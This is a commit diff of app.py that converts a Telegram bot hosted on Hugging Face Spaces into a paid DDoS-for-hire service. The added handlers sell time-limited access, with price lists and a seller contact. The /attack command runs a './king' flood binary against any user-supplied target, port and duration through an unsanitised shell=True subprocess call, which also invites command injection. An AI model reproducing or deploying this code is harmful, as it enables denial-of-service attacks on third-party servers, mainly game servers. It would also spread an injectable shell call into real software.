Pushp0120 commited on
Commit
474db42
·
verified ·
1 Parent(s): fc0deed

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +424 -21
app.py CHANGED
@@ -1,8 +1,12 @@
 
 
1
  import os
2
  import telebot
3
  from flask import Flask, request
 
 
 
4
  import threading
5
- import time
6
  from dotenv import load_dotenv
7
 
8
  # Load environment variables
@@ -32,35 +36,434 @@ def read_users():
32
  except FileNotFoundError:
33
  return []
34
 
 
 
 
35
  # Function to log command to the file
36
- def log_command(user_id, command):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
37
  with open(LOG_FILE, "a") as file:
38
- file.write(f"{datetime.datetime.now()} - {user_id}: {command}\n")
39
 
40
- # List to store allowed user IDs
41
- allowed_user_ids = read_users()
42
 
43
- # Bot handlers (copy from your original m.py)
44
- @bot.message_handler(commands=['start'])
45
- def start_command(message):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
46
  user_id = str(message.chat.id)
47
- if user_id in allowed_user_ids:
48
- bot.reply_to(message, "Welcome! The bot is ready to use.")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
49
  else:
50
- bot.reply_to(message, "Access denied. You are not authorized to use this bot.")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
51
 
52
  @bot.message_handler(commands=['help'])
53
- def help_command(message):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
54
  user_id = str(message.chat.id)
55
- if user_id in allowed_user_ids:
56
- help_text = """
57
- Available commands:
58
- /start - Start the bot
59
- /help - Show this help message
60
- """
61
- bot.reply_to(message, help_text)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
62
  else:
63
- bot.reply_to(message, "Access denied.")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
64
 
65
  # Webhook route for Hugging Face Spaces
66
  @app.route('/' + BOT_TOKEN, methods=['POST'])
@@ -80,7 +483,7 @@ def health_check():
80
  # Function to set webhook
81
  def set_webhook():
82
  # In Hugging Face Spaces, the webhook URL will be your space URL + bot token
83
- webhook_url = f"https://{os.getenv('SPACE_NAME')}.hf.space/{BOT_TOKEN}"
84
  bot.remove_webhook()
85
  bot.set_webhook(url=webhook_url)
86
  print(f"Webhook set to: {webhook_url}")
 
1
+ #!/usr/bin/python3
2
+
3
  import os
4
  import telebot
5
  from flask import Flask, request
6
+ import subprocess
7
+ import requests
8
+ import datetime
9
  import threading
 
10
  from dotenv import load_dotenv
11
 
12
  # Load environment variables
 
36
  except FileNotFoundError:
37
  return []
38
 
39
+ # List to store allowed user IDs
40
+ allowed_user_ids = read_users()
41
+
42
  # Function to log command to the file
43
+ def log_command(user_id, target, port, time):
44
+ admin_id = ["7474658501"]
45
+ user_info = bot.get_chat(user_id)
46
+ if user_info.username:
47
+ username = "@" + user_info.username
48
+ else:
49
+ username = f"UserID: {user_id}"
50
+
51
+ with open(LOG_FILE, "a") as file: # Open in "append" mode
52
+ file.write(f"Username: {username}\nTarget: {target}\nPort: {port}\nTime: {time}\n\n")
53
+
54
+ # Function to clear logs
55
+ def clear_logs():
56
+ try:
57
+ with open(LOG_FILE, "r+") as file:
58
+ if file.read() == "":
59
+ response = "Logs are already cleared. No data found."
60
+ else:
61
+ file.truncate(0)
62
+ response = "Logs cleared successfully"
63
+ except FileNotFoundError:
64
+ response = "No logs found to clear."
65
+ return response
66
+
67
+ # Function to record command logs
68
+ def record_command_logs(user_id, command, target=None, port=None, time=None):
69
+ log_entry = f"UserID: {user_id} | Time: {datetime.datetime.now()} | Command: {command}"
70
+ if target:
71
+ log_entry += f" | Target: {target}"
72
+ if port:
73
+ log_entry += f" | Port: {port}"
74
+ if time:
75
+ log_entry += f" | Time: {time}"
76
+
77
  with open(LOG_FILE, "a") as file:
78
+ file.write(log_entry + "\n")
79
 
80
+ # Dictionary to store the approval expiry date for each user
81
+ user_approval_expiry = {}
82
 
83
+ # Function to calculate remaining approval time
84
+ def get_remaining_approval_time(user_id):
85
+ expiry_date = user_approval_expiry.get(user_id)
86
+ if expiry_date:
87
+ remaining_time = expiry_date - datetime.datetime.now()
88
+ if remaining_time.days < 0:
89
+ return "Expired"
90
+ else:
91
+ return str(remaining_time)
92
+ else:
93
+ return "N/A"
94
+
95
+ # Function to add or update user approval expiry date
96
+ def set_approval_expiry_date(user_id, duration, time_unit):
97
+ current_time = datetime.datetime.now()
98
+ if time_unit == "hour" or time_unit == "hours":
99
+ expiry_date = current_time + datetime.timedelta(hours=duration)
100
+ elif time_unit == "day" or time_unit == "days":
101
+ expiry_date = current_time + datetime.timedelta(days=duration)
102
+ elif time_unit == "week" or time_unit == "weeks":
103
+ expiry_date = current_time + datetime.timedelta(weeks=duration)
104
+ elif time_unit == "month" or time_unit == "months":
105
+ expiry_date = current_time + datetime.timedelta(days=30 * duration) # Approximation of a month
106
+ else:
107
+ return False
108
+
109
+ user_approval_expiry[user_id] = expiry_date
110
+ return True
111
+
112
+ # Command handler for adding a user with approval time
113
+ @bot.message_handler(commands=['add'])
114
+ def add_user(message):
115
+ user_id = str(message.chat.id)
116
+ if user_id in admin_id:
117
+ command = message.text.split()
118
+ if len(command) > 2:
119
+ user_to_add = command[1]
120
+ duration_str = command[2]
121
+
122
+ try:
123
+ duration = int(duration_str[:-4]) # Extract the numeric part of the duration
124
+ if duration <= 0:
125
+ raise ValueError
126
+ time_unit = duration_str[-4:].lower() # Extract the time unit (e.g., 'hour', 'day', 'week', 'month')
127
+ if time_unit not in ('hour', 'hours', 'day', 'days', 'week', 'weeks', 'month', 'months'):
128
+ raise ValueError
129
+ except ValueError:
130
+ response = "Invalid duration format. Please provide a positive integer followed by 'hour(s)', 'day(s)', 'week(s)', or 'month(s)'."
131
+ bot.reply_to(message, response)
132
+ return
133
+
134
+ if user_to_add not in allowed_user_ids:
135
+ allowed_user_ids.append(user_to_add)
136
+ with open(USER_FILE, "a") as file:
137
+ file.write(f"{user_to_add}\n")
138
+ if set_approval_expiry_date(user_to_add, duration, time_unit):
139
+ response = f"User {user_to_add} added successfully for {duration} {time_unit}. Access will expire on {user_approval_expiry[user_to_add].strftime('%Y-%m-%d %H:%M:%S')}."
140
+ else:
141
+ response = "Failed to set approval expiry date. Please try again later."
142
+ else:
143
+ response = "User already exists."
144
+ else:
145
+ response = "Please specify a user ID and the duration (e.g., 1hour, 2days, 3weeks, 4months) to add."
146
+ else:
147
+ response = "Only admin can use this command."
148
+
149
+ bot.reply_to(message, response)
150
+
151
+ # Command handler for retrieving user info
152
+ @bot.message_handler(commands=['myinfo'])
153
+ def get_user_info(message):
154
+ user_id = str(message.chat.id)
155
+ user_info = bot.get_chat(user_id)
156
+ username = user_info.username if user_info.username else "N/A"
157
+ user_role = "Admin" if user_id in admin_id else "User"
158
+ remaining_time = get_remaining_approval_time(user_id)
159
+ response = f"Your Info:\n\nUser ID: <code>{user_id}</code>\nUsername: {username}\nRole: {user_role}\nApproval Expiry Date: {user_approval_expiry.get(user_id, 'Not Approved')}\nRemaining Approval Time: {remaining_time}"
160
+ bot.reply_to(message, response, parse_mode="HTML")
161
+
162
+ @bot.message_handler(commands=['remove'])
163
+ def remove_user(message):
164
+ user_id = str(message.chat.id)
165
+ if user_id in admin_id:
166
+ command = message.text.split()
167
+ if len(command) > 1:
168
+ user_to_remove = command[1]
169
+ if user_to_remove in allowed_user_ids:
170
+ allowed_user_ids.remove(user_to_remove)
171
+ with open(USER_FILE, "w") as file:
172
+ for user_id in allowed_user_ids:
173
+ file.write(f"{user_id}\n")
174
+ response = f"User {user_to_remove} removed successfully."
175
+ else:
176
+ response = f"User {user_to_remove} not found in the list."
177
+ else:
178
+ response = "Please Specify A User ID to Remove. Usage: /remove <userid>"
179
+ else:
180
+ response = "Only admin can use this command."
181
+
182
+ bot.reply_to(message, response)
183
+
184
+ @bot.message_handler(commands=['clearlogs'])
185
+ def clear_logs_command(message):
186
+ user_id = str(message.chat.id)
187
+ if user_id in admin_id:
188
+ try:
189
+ with open(LOG_FILE, "r+") as file:
190
+ log_content = file.read()
191
+ if log_content.strip() == "":
192
+ response = "Logs are already cleared. No data found."
193
+ else:
194
+ file.truncate(0)
195
+ response = "Logs Cleared Successfully"
196
+ except FileNotFoundError:
197
+ response = "Logs are already cleared."
198
+ else:
199
+ response = "Only admin can use this command."
200
+ bot.reply_to(message, response)
201
+
202
+ @bot.message_handler(commands=['clearusers'])
203
+ def clear_users_command(message):
204
+ user_id = str(message.chat.id)
205
+ if user_id in admin_id:
206
+ try:
207
+ with open(USER_FILE, "r+") as file:
208
+ log_content = file.read()
209
+ if log_content.strip() == "":
210
+ response = "USERS are already cleared. No data found."
211
+ else:
212
+ file.truncate(0)
213
+ response = "users Cleared Successfully"
214
+ except FileNotFoundError:
215
+ response = "users are already cleared."
216
+ else:
217
+ response = "Only admin can use this command."
218
+ bot.reply_to(message, response)
219
+
220
+ @bot.message_handler(commands=['allusers'])
221
+ def show_all_users(message):
222
  user_id = str(message.chat.id)
223
+ if user_id in admin_id:
224
+ try:
225
+ with open(USER_FILE, "r") as file:
226
+ user_ids = file.read().splitlines()
227
+ if user_ids:
228
+ response = "Authorized Users:\n"
229
+ for user_id in user_ids:
230
+ try:
231
+ user_info = bot.get_chat(int(user_id))
232
+ username = user_info.username
233
+ response += f"- @{username} (ID: {user_id})\n"
234
+ except Exception as e:
235
+ response += f"- User ID: {user_id}\n"
236
+ else:
237
+ response = "No data found"
238
+ except FileNotFoundError:
239
+ response = "No data found"
240
  else:
241
+ response = "Only admin can use this command."
242
+ bot.reply_to(message, response)
243
+
244
+ @bot.message_handler(commands=['logs'])
245
+ def show_recent_logs(message):
246
+ user_id = str(message.chat.id)
247
+ if user_id in admin_id:
248
+ if os.path.exists(LOG_FILE) and os.stat(LOG_FILE).st_size > 0:
249
+ try:
250
+ with open(LOG_FILE, "rb") as file:
251
+ bot.send_document(message.chat.id, file)
252
+ except FileNotFoundError:
253
+ response = "No data found."
254
+ bot.reply_to(message, response)
255
+ else:
256
+ response = "No data found"
257
+ bot.reply_to(message, response)
258
+ else:
259
+ response = "Only admin can use this command."
260
+ bot.reply_to(message, response)
261
+
262
+ # Function to handle the reply when free users run the /attack command
263
+ def start_attack_reply(message, target, port, time):
264
+ user_info = message.from_user
265
+ username = user_info.username if user_info.username else user_info.first_name
266
+
267
+ response = f"{username}, ATTACK STARTED.\n\nTarget: {target}\nPort: {port}\nTime: {time} Seconds\nMethod: VIP"
268
+ bot.reply_to(message, response)
269
+
270
+ # Dictionary to store the last time each user ran the /attack command
271
+ bgmi_cooldown = {}
272
+
273
+ COOLDOWN_TIME = 0
274
+
275
+ # Handler for /attack command
276
+ @bot.message_handler(commands=['attack'])
277
+ def handle_attack(message):
278
+ user_id = str(message.chat.id)
279
+ if user_id in allowed_user_ids or user_id in admin_id:
280
+ # Check if the user is in admin_id (admins have no cooldown)
281
+ if user_id not in admin_id:
282
+ # Check if the user has run the command before and is still within the cooldown period
283
+ if user_id in bgmi_cooldown and (datetime.datetime.now() - bgmi_cooldown[user_id]).seconds < 0:
284
+ response = "You Are On Cooldown. Please Wait 0sec Before Running The /attack Command Again."
285
+ bot.reply_to(message, response)
286
+ return
287
+ # Update the last time the user ran the command
288
+ bgmi_cooldown[user_id] = datetime.datetime.now()
289
+
290
+ command = message.text.split()
291
+ if len(command) == 4: # Updated to accept target, time, and port
292
+ target = command[1]
293
+ port = int(command[2]) # Convert time to integer
294
+ time = int(command[3]) # Convert port to integer
295
+ if time > 1000:
296
+ response = "Error: Time interval must be less than 1000."
297
+ bot.reply_to(message, response)
298
+ return
299
+ else:
300
+ record_command_logs(user_id, '/attack', target, port, time)
301
+ log_command(user_id, target, port, time)
302
+ start_attack_reply(message, target, port, time) # Call start_attack_reply function
303
+
304
+ # Execute king binary in isolated environment to prevent it from accessing bot
305
+ original_token = bot.token
306
+
307
+ def run_attack():
308
+ # Temporarily replace bot token to prevent king from sending messages
309
+ bot.token = "INVALID_TOKEN"
310
+ full_command = f"./king {target} {port} {time} 500"
311
+ result = subprocess.run(full_command, shell=True, capture_output=True, text=True)
312
+ # Restore original token
313
+ bot.token = original_token
314
+ completion_msg = f"Attack Finished. Target: {target} Port: {port} Time: {time} seconds"
315
+ bot.send_message(message.chat.id, completion_msg)
316
+
317
+ thread = threading.Thread(target=run_attack)
318
+ thread.start()
319
+ else:
320
+ response = "Usage :- /attack <target> <port> <time>" # Updated command syntax
321
+ bot.reply_to(message, response)
322
+ return
323
+ else:
324
+ response = """ Unauthorized Access!
325
+ Oops! It seems like you don't have permission to use the /attack command.
326
+ DM TO BUY ACCESS:- @kingthenos_bhai"""
327
+ bot.reply_to(message, response)
328
+
329
+ # Add /mylogs command to display logs recorded for bgmi and website commands
330
+ @bot.message_handler(commands=['mylogs'])
331
+ def show_command_logs(message):
332
+ user_id = str(message.chat.id)
333
+ if user_id in allowed_user_ids or user_id in admin_id:
334
+ try:
335
+ with open(LOG_FILE, "r") as file:
336
+ command_logs = file.readlines()
337
+ user_logs = [log for log in command_logs if f"UserID: {user_id}" in log]
338
+ if user_logs:
339
+ response = "Your Command Logs:\n" + "".join(user_logs)
340
+ else:
341
+ response = "No Command Logs Found For You."
342
+ except FileNotFoundError:
343
+ response = "No command logs found."
344
+ else:
345
+ response = "You Are Not Authorized To Use This Command."
346
+
347
+ bot.reply_to(message, response)
348
 
349
  @bot.message_handler(commands=['help'])
350
+ def show_help(message):
351
+ help_text =''' Available commands:
352
+ /attack : Method For Bgmi Servers.
353
+ /rules : Please Check Before Use !!.
354
+ /mylogs : To Check Your Recents Attacks.
355
+ /plan : Checkout Our Botnet Rates.
356
+ /myinfo : TO Check Your WHOLE INFO.
357
+
358
+ To See Admin Commands:
359
+ /admincmd : Shows All Admin Commands.
360
+
361
+ Buy From :- @kingthenos_bhai
362
+ Official Channel :- https://t.me/+Bz7yCgbYk7RkNzQ9
363
+ '''
364
+ bot.reply_to(message, help_text)
365
+
366
+ @bot.message_handler(commands=['start'])
367
+ def welcome_start(message):
368
  user_id = str(message.chat.id)
369
+ user_name = message.from_user.first_name
370
+
371
+ if user_id in admin_id:
372
+ response = f'''{user_name}! THIS IS HIGH QUALITY SERVER BASED DDOS.
373
+
374
+ You are ADMIN! Full access granted.
375
+
376
+ Admin Commands:
377
+ /attack <target> <port> <time>
378
+ /admincmd - Admin tools
379
+ /allusers - Manage users
380
+ /help - All commands'''
381
+ else:
382
+ response = f'''{user_name}! THIS IS HIGH QUALITY SERVER BASED DDOS. TO GET ACCESS.
383
+ Try To Run This Command : /help
384
+ BUY :- @kingthenos_bhai'''
385
+
386
+ bot.reply_to(message, response)
387
+
388
+ @bot.message_handler(commands=['rules'])
389
+ def welcome_rules(message):
390
+ user_name = message.from_user.first_name
391
+ response = f'''{user_name} Please Follow These Rules :
392
+
393
+ 1. Dont Run Too Many Attacks !! Cause A Ban From Bot
394
+ 2. Dont Run 2 Attacks At Same Time Becz If U Then U Got Banned From Bot.
395
+ 3. MAKE SURE YOU JOINED https://t.me/+Bz7yCgbYk7RkNzQ9 OTHERWISE NOT WORK
396
+ 4. We Daily Checks The Logs So Follow these rules to avoid Ban!!'''
397
+ bot.reply_to(message, response)
398
+
399
+ @bot.message_handler(commands=['plan'])
400
+ def welcome_plan(message):
401
+ user_name = message.from_user.first_name
402
+ response = f'''{user_name}, Brother Only 1 Plan Is Powerfull Then Any Other Ddos !!:
403
+
404
+ Vip :
405
+ -> Attack Time : 300 (S)
406
+ > After Attack Limit : 10 sec
407
+ -> Concurrents Attack : 5
408
+
409
+ Pr-ice List:
410
+ 3 day--> 200
411
+ Week-->300 Rs
412
+ Month-->500 Rs
413
+ '''
414
+ bot.reply_to(message, response)
415
+
416
+ @bot.message_handler(commands=['admincmd'])
417
+ def welcome_plan(message):
418
+ user_name = message.from_user.first_name
419
+ response = f'''{user_name}, Admin Commands Are Here!!:
420
+
421
+ /add <userId> : Add a User.
422
+ /remove <userid> Remove a User.
423
+ /allusers : Authorised Users Lists.
424
+ /logs : All Users Logs.
425
+ /broadcast : Broadcast a Message.
426
+ /clearlogs : Clear The Logs File.
427
+ /clearusers : Clear The USERS File.
428
+ /kill : Kill Hanging Attack Processes.
429
+ '''
430
+ bot.reply_to(message, response)
431
+
432
+ @bot.message_handler(commands=['broadcast'])
433
+ def broadcast_message(message):
434
+ user_id = str(message.chat.id)
435
+ if user_id in admin_id:
436
+ command = message.text.split(maxsplit=1)
437
+ if len(command) > 1:
438
+ message_to_broadcast = " Message To All Users By Admin:\n\n" + command[1]
439
+ with open(USER_FILE, "r") as file:
440
+ user_ids = file.read().splitlines()
441
+ for user_id in user_ids:
442
+ try:
443
+ bot.send_message(user_id, message_to_broadcast)
444
+ except Exception as e:
445
+ print(f"Failed to send broadcast message to user {user_id}: {str(e)}")
446
+ response = "Broadcast Message Sent Successfully To All Users."
447
+ else:
448
+ response = " Please Provide A Message To Broadcast."
449
  else:
450
+ response = "Only Admin Can Run This Command."
451
+
452
+ bot.reply_to(message, response)
453
+
454
+ @bot.message_handler(commands=['kill'])
455
+ def kill_processes(message):
456
+ user_id = str(message.chat.id)
457
+ if user_id in admin_id:
458
+ try:
459
+ subprocess.run("pkill -f king", shell=True)
460
+ response = "All attack processes killed successfully! Server freed."
461
+ except Exception as e:
462
+ response = f"Failed to kill processes: {str(e)}"
463
+ else:
464
+ response = "Only Admin Can Run This Command."
465
+
466
+ bot.reply_to(message, response)
467
 
468
  # Webhook route for Hugging Face Spaces
469
  @app.route('/' + BOT_TOKEN, methods=['POST'])
 
483
  # Function to set webhook
484
  def set_webhook():
485
  # In Hugging Face Spaces, the webhook URL will be your space URL + bot token
486
+ webhook_url = f"https://{os.getenv('SPACE_NAME', 'telegram-bot')}.hf.space/{BOT_TOKEN}"
487
  bot.remove_webhook()
488
  bot.set_webhook(url=webhook_url)
489
  print(f"Webhook set to: {webhook_url}")